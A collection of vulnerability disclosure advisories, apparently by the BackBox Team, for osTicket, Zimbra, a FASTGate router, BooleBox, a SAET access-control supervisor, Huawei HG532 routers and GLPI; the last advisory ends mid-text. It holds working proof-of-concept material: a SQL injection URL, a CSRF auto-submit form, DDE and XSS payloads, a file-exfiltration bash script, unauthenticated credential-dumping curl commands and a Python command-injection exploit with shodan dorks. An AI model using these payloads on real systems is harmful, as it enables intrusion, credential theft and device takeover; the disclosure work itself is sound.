osTicket, SQL Injection
# Authors: BackBox Team
I. INTRODUCTION
osTicket is an open-source and widespread ticketing system. One of its latest versions, i.e. v1.15.6, has been found being subject to an SQL Injection vulnerability.
II. DESCRIPTION
SQL Injection (CVE-2021-45811)
The osTicket system allows users to submit tickets and review/update them through the main “tickets.php” page.
Through the same page, any user can search for specific tickets among the list of all the tickets she submitted.
This functionality performs a GET request like the following:
https://host/tickets.php?a=search&keywords=text&topic_id=37
where the “keywords” URL parameter defines the text to search, while the “topic_id” one identifies the “Help Topic” to search for.
When performing the request by providing the “keywords” URL parameter like “text’ :1”, the “System log” under the admin panel returns a MySQL error, where the error query shows that the “:1” part has been substituted with the value of the “topic_id” parameter in one particular occurrence.
As an example, when performing the following:
GET https://host/tickets.php?a=search&keywords=text'+:1&topic_id=topic_id_val
a DB Error #1064 is generated and part of the SQL query resulting from the log is as follows:
JOIN (SELECT COALESCE(Z3.object_id, Z5.ticket_id, Z8.ticket_id) as ticket_id, Z1.relevance FROM (SELECT Z1.object_id, Z1.object_type, MATCH (Z1.title, Z1.content) AGAINST ('test\' 'topic_id_val'' IN NATURAL LANGUAGE MODE) AS relevance FROM ost__search Z1 WHERE MATCH (Z1.title, Z1.content) AGAINST ('test\' test :1' IN NATURAL LANGUAGE MODE) ORDER BY relevance DESC)
the SQL snippet clearly shows that the ‘:1’ parameter has been substituted by the value of topic_id, surrounded by single quotes.
Since the SQL statement autonomously surronds the topic_id parameter with single quotes, the first of them will actually close the single quote opened for the keywords, and any subsequent content is interpreted by MySQL as part of the SQL query.
Tracing back the entire flow is a bit complex, since the query generation is fairly complex, however, it can be reduced to the following set of function calls:
- The SQL query for the mentioned functionality is generated through an instance of the “MysqlSearchBackend” class, by calling:
$tickets = $ost->searcher->find($q, $tickets);
under the “tickets.inc.php” file, where $q is basically the keywords URL parameter. - The “find” call, embeds the $q ($query under the “find” function definition) parameter inside an SQL snippet as follows:
$search = 'MATCH (Z1.title, Z1.content) AGAINST ('.db_input($query).$mode.')';
where “db_input” only manages to actually escape single quote parameters, but doesn’t account for colons. - When the query is then going to be executed, the call goes through the “execute” function of the “MySqlExecutor” class, defined in “class.orm.php”.
The function basically converts the query into a string (via the __toString() method) and just runs it. However, the conversion function, i.e. __toString(), does perform some last minute substitutions of some parameters, specifically those that ideally should be table names or similar.
In particular, __toString() actually executes the following regex match and replace:
return preg_replace_callback("/:(\d+)(?=([^']*'[^']*')*[^']*$)/",
function($m) use ($self) {
$p = $self->params[$m[1]-1];
switch (true) {
case is_bool($p):
$p = (int) $p;
case is_int($p):
case is_float($p):
return $p;
case $p instanceof DateTime:
$p = $p->format('Y-m-d H:i:s');
default:
return db_real_escape((string) $p, true);
}
}, $this->sql);
where the index 1 of “:1” is converted into the corresponding value of $self->params[]. Then, as the resulting “topic_id” value is a string, it goes directly through the “default” case, which, in turn, calls the “db_real_escape” function, with last parameter ($quote) set to true.
The “db_real_escape” function does the following:
function db_real_escape($val, $quote=false) {
global $__db;
//Magic quotes crap is taken care of in main.inc.php
$val=$__db->real_escape_string($val);
return ($quote)?"'$val'":$val;
}
that is, it calls the default MySQL “real_escape_string”, but then, as the $quote parameter is set to “true”, it actually surrounds the outcoming value with single quotes.
The final sanitization actually causes the issue mentioned before, as it is adding single quotes to an already quoted string.
III. PoC – PROOF OF CONCEPT
A proof of concept is actually pretty complex to report here, due to the length of the query that is normally performed by the web application.
However, a GET request to:
https://host/tickets.php?a=search&keywords=test+':1&topic_id=+IN+NATURAL+LANGUAGE+MODE)+AS+relevance+FROM+ost__search+Z1+WHERE+1%3d1+ORDER+BY+relevance+DESC)+Z1+LEFT+JOIN+ost_thread_entry+Z2+ON+(Z1.object_id+%3d+Z2.id)+LEFT+JOIN+ost_thread+Z3+ON+(Z2.thread_id+%3d+Z3.id)+LEFT+JOIN+ost_ticket+Z5+ON+(Z1.object_id+%3d+Z5.ticket_id)+LEFT+JOIN+ost_user+Z6+ON+(Z6.id+%3d+Z1.object_id)+LEFT+JOIN+ost_organization+Z7+ON+(Z7.id+%3d+Z1.object_id+AND+Z7.id+%3d+Z6.org_id)+LEFT+JOIN+ost_ticket+Z8+ON+(Z8.user_id+%3d+Z6.id))+Z1+UNION+SELECT+user(),@@version,@@version,@@version,@@version,@@version,@@version,@@version,@@version,@@version,@@version,@@version,@@version,@@version,@@version%23
is enough to prove that we can successfully extrapolate the mysql user and the mysql version from the server response, whose snippet is shown below:
<tbody>
<tr id="user_osticket@localhost">
<td><a class="Icon 8.0.23Ticket" title="8.0.23" href="tickets.php?id=user_osticket@localhost">8.0.23</a></td>
<td>10/09/21</td>
<td>8.0.23</td>
<td><div style="max-height: 1.2em; max-width: 320px;" class="link truncate" href="tickets.php?id=user_osticket@localhost"><i class="icon-group"></i> 8.0.23</div></td>
<td><span class="truncate">8.0.23</span></td>
</tr>
</tbody>
IV. BUSINESS IMPACT
With the mentioned vulnerability, an authenticated attacker could potentially exfiltrate the entire content of the database.
V. SYSTEMS AFFECTED
Currently we have no detailed information on the system versions affected. We evidenced the vulnerability in osTicket version 1.15.2, however, the manual code review has been done on the latest GitHub source code, which may suggest that the issue is present up to the latest version as well.
VI. VULNERABILITY HISTORY
September 14th, 2021: Vendor notification
October 6th, 2021: Vendor acknowledged the vulnerability
February 26th, 2022: Private disclosure
March 15th, 2022: CVE received
July 21st, 2022: Request for status update
November 11th, 2022: Request for status update
December 08th, 2022: Request for status update and notification of imminent publication
December 09th, 2022: Vendor answers that fix will require additional time
March 30th, 2023: Public disclosure
VII. LEGAL NOTICES
The information contained within this advisory is supplied “as-is” with no warranties or guarantees of fitness of use or otherwise. We accept no responsibility for any damage caused by the use or misuse of this information.
Zimbra Open Bucket Data Leak – Responsible Disclosure
Authors: Raffaele Forte, BackBox Team
# WHOIS
Hundreds of millions use Zimbra, an all-in-one business productivity suite for micro, small, medium & enterprise in-office and remote work teams.
The Zimbra Inc company was acquired by Synacor Inc on 18 August 2015. It is based in Buffalo, New York with offices in London, Pune, Singapore and Tokyo. They deliver cloud-based software and services for leading global video, content, entertainment, internet and communications providers, device manufacturers, governments and enterprises.
# INTRODUCTION
In August of this year (2022), following the usual monitoring of potential data breaches and data leaks through our platform, ADEngine, we identified a severe security incident related to an exposed AWS S3 bucket belonging to Zimbra.
# DESCRIPTION
An S3 bucket is typically considered “public” if any user can list and download the content of the bucket, and “private” if the access to bucket’s content is restricted.
In this case the bucket was “public” and, due to an incorrect access configuration, it was possible for anyone to download any content without any kind of restriction.
The S3 bucket, by default, has a predictable and publicly accessible URL:
- https://s3.amazonaws.com/files.zimbra.com/
- https://files.zimbra.com.s3.amazonaws.com/
It is also possible to use their third level domain, reachable at the following url:
- https://files.zimbra.com/
Zimbra uses S3 to store server backups, company documents, user logs, and publicly visible content such as web site pages, images and PDF documents.
To test the exposure of the bucket a user can just enter the URL in their web browser. A private or restricted bucket will typically respond with “Access Denied”. A public bucket instead will list the first 1,000 objects that have been stored:
After having discovered the exposure of the S3 and its content, we promptly contacted Zimbra and notified their security team. After sending more than one email, about a week later, we got a response from Zimbra, thanking us for the report. Despite their response and interest, in their email they tried to minimize the issue.
Here follows a snippet of their email response:
“My apologies for the delay in response to you. We have had to check with the team responsible for this data to understand the purpose for this bucket. I have been informed this is captured backup data for public information and therefore there is no issue with this data being publicly available.”
Surprised by the response, we again stressed the severity of the situation.
The security risk from a public bucket is simple. A list of files and the files themselves – if available for download – can reveal sensitive information. The worst case scenario is that a bucket has been marked as “public”, exposes a list of sensitive files, and no access controls have been placed on those files.
That bucket in particular contains a very rich collection of data, with many elements that seem to be private at a first glance, or that at least should not be exposed.
Meanwhile it was clear that they weren’t fully aware of the content in the S3 bucket and that, apparently, their users were storing more than marketing data. Indeed, we noticed that they put some restrictions and access control in place after we’ve notified persistently and some files were no longer accessible.
The following is the snippet of the follow up email exchange and their response:
“I have made our marketing team aware of your findings and it was confirmed to me that this was backups of public information. I believe they are removing the data as it was older backup data.”
Our analysis revealed that Zimbra’s exposed AWS S3 bucket had been publicly accessible for a very long time.
In the past months, perhaps years, it has been possible to download files of different kind without any restrictions. In particular, we refer to users data such as emails, passwords, configurations, archives, system logs and much more.
Today the situation seems to have partially changed, some files have been restricted (not all) but the problem persists. Zimbra team doesn’t seem to have an interest in pursuing a full fix nor do they admit or understand the severity.
In situations where the bucket is public, but the files are locked down, sensitive information can still be exposed through the file names themselves, such as the names of customers or how frequently a particular application is backed up.
# BUSINESS IMPACT
We do not know if this data has been breached and exfiltrated in the past. It is not unlikely that such data is available on the darkweb or in the hands of malicious actors that may use them to carry out attacks, not only against Zimbra, but also against its users or 3rd parties, such as suppliers. The worst case scenario we can think of is that the attackers, with this information and data, may have already gained direct access to the Zimbra servers and the organization may not be aware of it.
# CONCLUSIONS
The purpose of this publication is to put pressure on Zimbra in order to fix the problem that is still potentially exploitable by malicious actors and, above all, to inform users of a potential and concrete threat. This is a responsible disclosure.
Zimbra should in turn guarantee loyalty and transparency to its users by informing them directly of the incident, instead of trying to deliberately underestimate the importance of what we have reported.
# VULNERABILITY HISTORY
Aug 14th, 2022: Vendor notification
Aug 19th, 2022: Vendor acknowledged the vulnerability
Aug 19th, 2022:: Vendor partially fixed the issue
Aug 20th, 2022: New vendor notification
Aug 26th, 2022: Article published
FASTGate GPON, Cross Site Request Forgery
# Authors: Luca Di Domenico, BackBox Team
I. INTRODUCTION
FASTGate GPON are wireless home gateways for home or office ADSL.
The model FGA2130FWB is the router installed when a new customer signs up for a new Internet subscription with the Italian ISP Fastweb.
II. DESCRIPTION
The administration web panel of the router is vulnerable to Cross Site Request Forgery (CVE-2020-13620)
Cross Site Request Forgery is a vulnerability that can be exploited by an attacker to perform an unwanted action on a trusted site for which the user is currently authenticated. For example, this might be to change the password on their account, to modify configurations and adding or deleting resources. Depending on the nature of the action, the attacker might be able to gain full control over the user’s account. If the compromised user has a privileged role within the application, as in this case, then the attacker might be able to take full control of all the application’s data and functionality.
One of the action an attacker can perform by exploiting this vulnerability is to disable the Parental Control filter on the router. This is a privileged action and requires the administrator’s password (I.e the administrator must be logged in). The action is performed by sending the following request:
GET /status.cgi?_=1604501065194&act=nvset&enabled=0&mode_all=0&service=pc_list HTTP/1.1
Host: 192.168.1.254
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:82.0) Gecko/20100101 Firefox/82.0
Accept: application/json, text/plain, /
Accept-Language: it-IT,it;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Connection: close
Referer: http://192.168.1.254/
Cookie: sessionID=;
To exploit this vulnerability, an attacker can host the “csrf.html” file on his own server (See section III), and send a URL to this page to the victim (the administrator).
For example the text of the email can be something like:
click here to win an iPhone: https://www.attacker.com/csrf.html
When the victim clicks on the link, the form will be submitted with the cookies of the victim attached to the request and the parental control will be removed.
To successfully exploit this vulnerability, the victim must be logged in to the web application during the attack phase.
III. PoC – PROOF OF CONCEPT
<form action="http://192.168.1.254/status.cgi">
<input type="hidden" name="act" value="nvset" />
<input type="hidden" name="enabled" value="0" />
<input type="hidden" name="mode_all" value="0" />
<input type="hidden" name="service" value="pc_list" />
<input type="submit" value="Submit request" />
</form>
<script>
document.forms[0].submit();
</script>
IV. BUSINESS IMPACT
This flaw may compromise the integrity of the system and/or expose sensitive information. An attacker is able to modify system-configurations and perform other administrative tasks on the device.
V. SYSTEMS AFFECTED
FASTGate GPON Model FGA2130FWB through 2020-05-26 are affected.
VI. VULNERABILITY HISTORY
May 20th, 2020: Vendor notification
May 21th, 2020: Vendor acknowledged the vulnerability
November 04th, 2020: Vendor fixed the issue
VII. LEGAL NOTICES
The information contained within this advisory is supplied “as-is” with no warranties or guarantees of fitness of use or otherwise. We accept no responsibility for any damage caused by the use or misuse of this information.
BooleBox Secure Sharing, Multiple Vulnerabilities
# Authors: BackBox Team
# Vendor Homepage: https://www.boolebox.it
I. INTRODUCTION
BooleBox is a Secure File Sharing Utility available as a Cloud, On-Premises or Hybrid service. The product offers a wide variety of File Sharing protection mechanisms and also the possibility of cloud online editing and collaboration.
II. CSV Injection, aka Excel Macro Injection or Formula Injection (CVE-2020-13247)
The vulnerability exists in the export feature and allows a remote user to inject arbitrary code into CSV files.
The vulnerability exists in the user’s name parameter due to insufficient sanitization of user-supplied data when constructing CSV files. CSV files contain users activity logs and they are exportable from the Audit Area accessible exclusively by privileged users. In order to make the macro executable it should be placed at the beginning of the string so at the place of the user’s name. Any user can modify his/her name and replace it with a malicious macro. The administrator user may export the compromised log file in CSV format and open it with Microsoft Excel. The malicious macro will be executed causing system damage.
a. Proof of Concept
Any user can perform the attack against an administrator user who has the privileged functionality of downloading activity logs in CSV format. The attacker should replace his name with a malicious macro in the area “My account – Personal Data”.
For example “John Smith” becomes “=cmd|’ /C calc’!A1 Smith”
Then he/she should perform an action that will be recorded in the activity logs in the form “[Name Surname] [action]”.
For example John Smith renamed “file.txt” in “file2.txt” becomes:
=cmd|’ /C calc’!A1 Smith renamed “file.txt” in “file2.txt”
When the administrator user open the log file with Microsoft Excel the macro will be executed and he/she will be victim of this attack.
b. Business Impact
Arbitrary formulas can be injected into CSV/Excel files. This can potentially lead to remote code execution at the client (DDE) or data leakage via maliciously injected hyperlinks.
III. Stored XSS Vulnerability (CVE-2020-13248)
The Web Application is affected by a Stored XSS Vulnerability. If an attacker manages other users to request the Stored XSS parameter, he/she can execute arbitrary JavaScript code within the user’s browser in the context of that user’s session. The attacker-supplied code can perform a wide variety of actions, such as stealing the victim’s session token or login credentials, performing arbitrary actions on the victim’s behalf and logging their keystrokes.
Reference: https://www.owasp.org/index.php/Cross-site_Scripting_(XSS)
The vulnerable function seem to require only a basic account access to the platform.
URL affected: hostname/BS/Account.aspx;
Vulnerable parameter: “avatar” json parameter;
Method: POST.
a. Proof of Concept
Any user can upload his/her own Profile Image under the My Account section, which is sent to the server as a base64 encoded sequence and embedded elsewhere in an <img src=”> HTML tag. Here follows a sample of a valid image uploaded, URL decoded for readability reasons:
POST /BS/Account.aspx HTTP/1.1 Host: example.com ... [HTTP Headers] ... data={"action":3,"name":null,"surname":null,"avatar":"data:image/png;base64,[BASE64 Encoded Image]","inApp":false}
However, whenever a user uploads an image that is not base64 encoded, the system considers it valid and copies it internally with minimal if none sanitization or safety checking. As a consequence, when an attacker loads an XSS payload as image body, it is correctly saved in the database.
Here follows the request containing the XSS payload sent to the server.
POST /BS/Account.aspx HTTP/1.1 Host: example.com ... [HTTP Headers] ... data={"action":3,"name":null,"surname":null,"avatar":"\" onerror=\"alert('xss')","inApp":false}
Once the payload is set as user’s avatar, it is possible to execute the payload by clicking on the username on the top right of the main web Application page. This will trigger an Ajax request to the backend to retrieve the stored avatar, as shown in the following request example:
POST /BS/Account.aspx HTTP/1.1 Host: example.com ... [HTTP Headers] ... data={"action":1,"getAvatar":true}
The response to this request, is the following:
HTTP/1.1 200 OK ... [HTTP Headers] ... {"type":1,"details":{"name":"[NAME]","surname":"[SURNAME]","username":"[USER EMAIL]","phone":null,"avatar":"\" onerror=\"alert('xss')","storage":{"used":0,"total":3221225472,"usedText":"0 KB","totalText":"3 GB"},"last_access":"GG/MM/AAAA HH:MM (AM|PM)"},"subscription":{"type":"BooleBox Business","start":"GG/MM/AAAA","cancelled":false,"renewal":{"date":"No expiry","method":null},"payment":null},"banner":null}
The value corresponding to the “avatar” key is then copied client-side inside the box that appears when the request is made:
<div id="user_info_box_slider" class="user_info_box_slider" style="display: block; opacity: 1;">
<div class="userIdentityContainer clearfix">
<div id="user_area_avatar" class="left">
<div class="avatarUser"><img class="profileAvatar" src="" onerror="alert('xss')"></div>
</div>
... [OTHER USER DATA DISPLAYED HERE] ...
</div>
</div>
and this will finally execute the XSS payload that has been set as avatar image.
Even more dangerous, any other user with Upload/Write privileges that has the attacker registerd in his/her contact list is affected by this vulnerability. Specifically, when that user navigates to the “Contacts” section and reaches the page where the attacker information is shown the following request is made to the backend.
POST /BS/Preview.aspx HTTP/1.1
Host: example.com
...
[HTTP Headers]
...
data={"action":47,"users":[{"ID":"[ATTACKER ID]","Name":"[ATTACKER NAME SURNAME]","Username":"attacker@evil.com","Email":"attacker@evil.com","AvatarId":"[AVATAR ID]","Avatar":"","belongGroup":true,"msgRead":null,"Domain":false,"UsersInGroup":null,"DisplayName":""}]}
To this request, the backend then answers with the requested Avatar that contains the attacker’s XSS payload.
HTTP/1.1 200 OK ... [HTTP Headers] ... {"Avatar":"\" onerror=\"alert('xss')"}
The provided avatar, as for the previous XSS example is then inserted in an IMG HTML tag on the client side inside the dedicated to that user. An example of the output attacker’s is the following:
<div class="singleUser clearfix pointer" id="[ATTACKER'S ID]">
<span class="removeUser pointer icon-elimina"></span>
<div class="userAvatar left">
<img src="images/share/BS4_Share_Custom_Flag_S.png" class="shareButtonFlag">
<img src="" onerror="alert('xss')" width="100%" height="100%"></div>
<div class="userDataRubrica"><div class="user-icons"></div>
<div class="userNameRubrica fixTextOverflow" title="[ATTACKER'S DATA]">[ATTACKER'S DATA]</div>
</div>
</div>
b. Business Impact
Up to now, we have evidence that the vulnerability interests any user that can upload his/her own avatar (even low privileged ones) and affects, besides himself/herself, any other user that added the attacker in the contact list. To the best of our knowledge, the users that can add people and access to a contact list are also those with Upload/Write privileges on the platform, which makes the Stored XSS even more dangerous.
IV. SYSTEMS AFFECTED
Currently we have no detailed information on the system versions affected, potentially all the versions could be vulnerable.
V. VULNERABILITY HISTORY
May 12th, 2020: Vendor notification
VI. LEGAL NOTICES
The information contained within this advisory is supplied “as-is” with no warranties or guarantees of fitness of use or otherwise. We accept no responsibility for any damage caused by the use or misuse of this information.
SAET TEBE Small Supervisor, Multiple Vulnerabilities
# Product version: v05.01 build 1137
# Webapp version: v04.68
# Vendor homepage: https://www.saet.org/
I. INTRODUCTION
TEBE Small is a physical access control system manufactured by SAET Impianti Speciali.
It consists in a modular network of “terminals” which are deployed in a building and read badges or other authentication mechanisms, and a “supervisor”, which is typically installed on a Raspberry Pi, who manages and orchestrates the terminals.
On the supervisor is installed a Web Application that provides a dashboard used by the administrator to control the behavior of the terminals and to manage the user permissions and authorization.
II. DESCRIPTION
The Web Application is affected by some vulnerabilities that allow an attacker to overtake the system by gaining the admin password.
The vulnerabilities found are listed below:
- Local File Inclusion (CVE-2019-9106)
- Unauthenticated API calls (CVE-2019-9105)
III. PROOF OF CONCEPT
We assume that the supervisor is installed at “https://my-supervisor.tld”.
We start by looking at the file “https://my-supervisor.tld/inc/js/saet.js”, which is included in the index page.
This file is filled with JavaScript functions that call a REST API proxy served at “https://my-supervisor.tld/inc/utils/REST_API.php”.
function startRealTime() {
"use strict";
$('.eventstable tbody').empty();
$('#start-real-time').hide();
$('#last-events').hide();
$('#fromdate, #todate').hide();
$('#stop-real-time').show();
sendRtc();
$.get('inc/utils/REST_API.php', {
command: 'CallAPI',
customurl: 'history/maxlastupdate',
method: 'GET'
}, function(data) {
lastupdate = data.lastupdate;
startedRealTime = 1;
timeout = setTimeout( getLastEvents, realTimeInterval);
}, "json");
}
If we try to construct the API call, we come to this:
$ curl "https://my-supervisor.tld/inc/utils/REST_API.php?command=CallAPI&customurl=history%2Fmaxlastupdate&method=GET&svm_id="
{"lastupdate": 1550490686073, "causal_code": 0, "area": 1, "timestamp": 1550490685, "user_second_name": "Doe", "user_first_name": "John", "badge_id": 1234, "terminal_id": 6, "synchronised": false, "event": 7, "svm_id": 0}
So we can monitor in real time people coming in and out, without any authentication.
By further investigating the “saet.js” file we can detect some other interesting API calls. We can, for example, dump the whole database of events with a single command, so no polling needed:
$ curl "https://my-supervisor.tld/inc/utils/REST_API.php?command=CallAPI&customurl=history%2Ffilter%2F%3Fstartdate%3D0%26enddate%3D1532683263728%26badges%3D*%26titolari%3D*%26event_type%3D*%26terminals%3D*%26causals%3D*%26areas%3D*%26logic%3Dand_%26limit%3D1000%26offset%3D0%26lastupdate%3D0&startdate=&enddate=&logic=1&method=GET&svm_id="
We now need to log in to further proceed with our analysis: luckily the sysadmin has left a weak password on the dashboard, so we can easily break in and star inspecting new pages.
The first thing to pay attention at is the way the various views are displayed: “https://my-supervisor.tld/index.php?menu=VIEW_NAME”
If we try to fuzz this “menu” field with some random string (“aaa”), we end up to something interesting:
Warning: require(aaa.php): failed to open stream: No such file or directory in /data/webapp/index.php on line 141
Fatal error: require(): Failed opening required 'aaa.php' (include_path='.:/usr/share/php:/usr/share/pear') in /data/webapp/index.php on line 141
So it seems the page is appending a “.php” extension to the “menu” field and trying to include it.
Moreover, the php filter “convert.base64-encode” is enabled, so we are able not only to include arbitrary php files, but also to encode them and download the source code.
To automate the process of downloading “.php” files from the server, we can write a simple bash script:
#!/bin/bash
USER="admin"
PASSWORD="password"
URL="https://my-supervisor.tld"
curl -c cookies.txt -b cookies.txt -s -i -k -X 'POST' --data "username=$USER&password=$PASSWORD&login=" "$URL" > /dev/null
curl -c cookies.txt -b cookies.txt "$URL/?menu=php://filter/convert.base64-encode/resource=$1" | grep '<div class="container alert alert-danger error_log">' | sed -r 's/<div class="container alert alert-danger error_log"><\/div>(.*)<\/div> <!-- mainwrapper -->/\1/g' | base64 -d
We can use this script to download, for example, the “index.php”:
$ ./exfiltrator.sh index > index.php
Now that we are able to download files, we need something useful to actually download.
We could now run a crawler or an URL fuzzer in order to detect relevant files.
From the results, it turns out that directory indexing is enabled on “/admin/” and “/inc/”, so that we don’t need to go through the code to find out interesting files to download, but what is most relevant now is a “login.php” file in the root directory.
Let’s download it with our previous exfiltrator script and investigate:
<?php
$svType = CallAPI( "GET", "whoami" );
$foundAdmin = 0;
if($svType == 'svm') {
$userquery = json_decode(CallAPI( "GET", "alladminusers", 0 ) );
if(sizeof($userquery) > 0) {
foreach($userquery as $userObj) {
$adminuser = (array)$userObj;
if($adminuser['role'] == ADMIN) {
$foundAdmin = 1;
break;
}
}
}
} else {
$foundAdmin = 1;
}
if($foundAdmin):
?>
The API call “alladminusers” appears to return a lot of useful stuff: it is worth a try…
$ curl "https://my-supervisor.tld/inc/utils/REST_API.php?command=CallAPI&customurl=alladminusers&method=GET&svm_id="
[{"username": "admin", "first_name": "admin", "role": 5, "plant_name": null, "password": "5f4dcc3b5aa765d61d8327deb882cf99", "second_name": "admin", "svm_id": 0}]
So now we can retrieve MD5 hashes of every admin account on the machine, all without authentication.
Once you log in the dashboard you can obviously do anything an admin can do, including enabling and disabling terminals, badges, downloading the access database, tamper with it and upload it again.
There’s even an upload form, where you are allowed to upload a “New Firmware”. There is no check in place to control the type of the file uploaded, so it is possible to upload a PHP webshell.
It gets uploaded to (extract from “/inc/global.php”):
define('NEW_FIRMWARE_FOLDER', '/data/firmware_new/');
But unluckily there’s a check in place in the `index.php` file which replaces all “_” with “/”, so we are unable to include that with the previous technique:
if($menu == '')
require($defaultUrl);
else {
$menuitem = str_replace('_', '/', $menu);
require($menuitem.'.php');
}
Recap
You can easily gain admin access to the dashboard and fully overtake the system.
Not only this: you can also both download and execute any file which ends with “.php”, except those containing an underscore in their path, and you can upload files too: the dashboard allows you to upload any kind of file in the “firmware update” tab. We are still unable to get a shell because of the underscore in the firmware upload path, but this deserves further investigations.
IV. BUSINESS IMPACT
These flaws may compromise the integrity of the system and/or expose sensitive information.
VI. VULNERABILITY HISTORY
February 6th, 2019: Vendor notification
VII. LEGAL NOTICES
The information contained within this advisory is supplied “as-is” with no warranties or guarantees of fitness of use or otherwise. We accept no responsibility for any damage caused by the use or misuse of this information.
Huawei HG532, Command Injection
# Authors: Raffaele Forte, Andrea Ferraris
# Product name: Huawei HG532*
# Vendor Homepage: https://www.huawei.com
I. INTRODUCTION
Huawei HG532* are wireless home gateways for home or office ADSL.
The model HG532e is used in Panama by “Cable & Wireless Panama”.
shodan.io dork: “Content-Length: 11881” “no-cache” org:”Cable & Wireless Panama”.
The model HG532s is distributed in Italy since 2012 by Wind-Infostrada and it is still in use.
shodan.io dork: “Content-Length: 10814” “no-cache” org:”Wind”
II. DESCRIPTION
The router is affected by a “Command Injection” vulnerability located in the web-panel allowing an authenticated user to obtain a root access to the system.
The vulnerable function is used to check if a domain/IP is reachable.
Thanks to reverse engineering techniques we were able to identify the snippet of code that performs this action:
[...] LOAD:00409B58 la $t9, snprintf LOAD:00409B5C la $a2, aPingSC4VarPing # "ping %s -c 4 > /var/pingres.txt" LOAD:00409B64 move $a3, $v0 LOAD:00409B68 li $a1, 0x400 LOAD:00409B6C jalr $t9 ; snprintf # call snprintf(ping %s..., <cmd>) LOAD:00409B70 move $a0, $s0 LOAD:00409B74 lw $gp, 0x10($sp) LOAD:00409B78 nop LOAD:00409B7C la $t9, system LOAD:00409B80 nop LOAD:00409B84 jalr $t9 ; system # call system with previous snprintf result LOAD:00409B88 move $a0, $s0 LOAD:00409B8C lw $gp, 0x10($sp) LOAD:00409B90 move $a0, $s2 LOAD:00409B94 la $t9, ATP_WEB_SendFile LOAD:00409B98 nop LOAD:00409B9C jalr $t9 ; ATP_WEB_SendFile LOAD:00409BA0 move $a1, $s1 [...]
As we can see, the web interface use “system” to execute PING command (LOAD:00409B84) and the command is built from the previous “snprintf” (LOAD:00409B6C) call.
The vulnerability is the lack of input sanitization: the code does not check if the passed string is a valid IP and does not check the presence of dangerous characters.
Usually, the user set an IP/hostname in a web-form and he/she sees the output, but inserting a semicolon (or various injection characters) it is possible to execute others commands.
For example, a legit input may be:
127.0.0.1
A malicious one may be:
127.0.0.1 -c 4; whoami > /var/pingres.txt;#
The first argument “127.0.0.1 -c 4” is to complete the ping command (not strictly necessary). Then, there is a semicolon followed by “whoami”: that is the command that the attacker wants to execute. The “#” allows to ignore the “-c 4 > /var/pingres.txt” which follows the format string placeholder (LOAD:00409B52). Note: it is necessary to redirect output to the file “/var/pingres.txt” in order to obtain a visible command injection, indeed the web application respond with that file (LOAD:00409B9C).
III. PoC – PROOF OF CONCEPT
#!/usr/bin/python import requests import time import urllib import sys import warnings import hashlib import base64 if not sys.warnoptions: warnings.simplefilter("ignore") user = 'user' ## HG532e by Cable & Wireless Panama ## shodan.io dork: "Content-Length: 11881" "no-cache" org:"Cable & Wireless Panama" password = 'censured' ## HG532s by Wind-Infostrada (Italy) ## shodan.io dork: "Content-Length: 10814" "no-cache" org:"Wind" #password = 'censured' password_sha256 = hashlib.sha256(password.encode()).hexdigest() password_base64 = base64.b64encode(hashlib.sha256(password.encode()).hexdigest()) s = requests.Session() url = str(sys.argv[1]) cmd = str(sys.argv[2]) payload = urllib.quote_plus(' -c1; '+cmd+' > /var/pingres.txt; #') data = {'Username':'user','Password':''+password_base64+''} cookie = {'Language':'en','FirstMenu':'Admin_0','SecondMenu':'Admin_0_0','ThirdMenu':'Admin_0_0_0'} url_login = url+'/index/login.cgi' request_login = s.post(url_login, data=data, cookies=cookie, verify=False) url_diagnose = url+'/html/management/excutecmdfordiagnose.cgi?cmd=127.0.0.1'+payload+'&RequestFile=/html/management/pingstatus.asp' request_diagnose = s.post(url_diagnose, cookies=cookie, verify=False) url_logout = url+'/index/logout.cgi' s.post(url_logout, cookies=cookie) txt = request_diagnose.text.split('PingResult = "') result = txt[1].replace('\\n" + "', '\n') print'\n'+result.split('";')[0]
IV. BUSINESS IMPACT
This flaw may compromise the integrity of the system and/or expose sensitive information. An attacker is able to obtain a root shell on the device.
V. SYSTEMS AFFECTED
Model: Huawei HG532e
Hardware version: HG532EAM1HG530ERRAMVER.B
Firmware version: V100R001C170B012
Model: Huawei HG532s
Hardware version: HG532SAM1HG530ERRAMVER.B
Firmware version: V100R001C57B011
Most likely all HG532* models are vulnerable.
VI. VULNERABILITY HISTORY
December 10th, 2018: Vendor notification
VII. LEGAL NOTICES
The information contained within this advisory is supplied “as-is” with no warranties or guarantees of fitness of use or otherwise. We accept no responsibility for any damage caused by the use or misuse of this information.
GLPI 9.2.1, Multiple Vulnerabilities
# Authors: Andrea Ferraris, Raffaele Forte
# Vendor Homepage: http://glpi-project.org
# Version: 9.2.1 and earlier
I. INTRODUCTION
GLPI is the Information Resource-Manager with an additional Administration-Interface. You can use it to build up a database with an inventory for your company (computer, software, printers…). It has enhanced functions to make the daily life for the administrators easier, like a job-tracking-system with mail-notification and methods to build a database with basic information about your network-topology.
II. DESCRIPTION
The web application suffers from multiple vulnerabilities.
1. Remote code execution (CVE-2018-7562)
The application allows an authenticated user to upload file when he/she creates new ticket. This feature is protected using different type of security features like the check on the file’s extension.
Auditing the source code we are able to identify one issue that allows the remote code execution: as we can see in the snippet below, the application uploads and creates a file, though this file is not allowed, and then deletes the file.
[...] // Unlink file $val->error = __('Filetype not allowed'); if (file_exists($upload_dir.$val->name)) { unlink($upload_dir.$val->name); } [...]
This snippet is from the latest version of GLPI (9.2.1) in the file “inc/glpiuploaderhandler.class.php” (method uploadFiles).
All the previous version are affected by the same vulnerability (though the source file is different).
Using this particular behaviour, an attacker is able to trigger a race condition between the “unlink” procedure and getting the file.
Below are the macro-phases of the attack:
1. Login to application and obtain a valid session ID
2. Create two parallels threads.
3. One thread should loop over upload method and try to upload, for example, a php file
4. The other thread should loop trying to retrieve the file, e.g. recalling, with GET method, “/files/_tmp/”
5. Check if the return status is 200 and, in that case, terminate the exploit.
Exploitability
The exploitability of this vulnerability encounters a pratical problem: indeed, even if we are able to retrieve the file BEFORE the unlink procedure, the application deletes the file in a very short time. So we would not be able to get a stable shell and a backdoor in the system.
In order to bypass this limitation we can create a PHP files that drops another PHP file (the real backdoor). This way, the second file should not be deleted by the application.
In the latest version of GLPI this vulnerability is mitigated by the fact that the filename is random-like.
[...] $pname = $params['name']; $rand_name = uniqid('', true); foreach ($_FILES[$pname]['name'] as &$name) { $name = $rand_name . $name; } [...]
As we can see in the snippet above, the application attaches at the filename a “random prefix”. This way, the probability of retrieving the file without filename is pretty low.
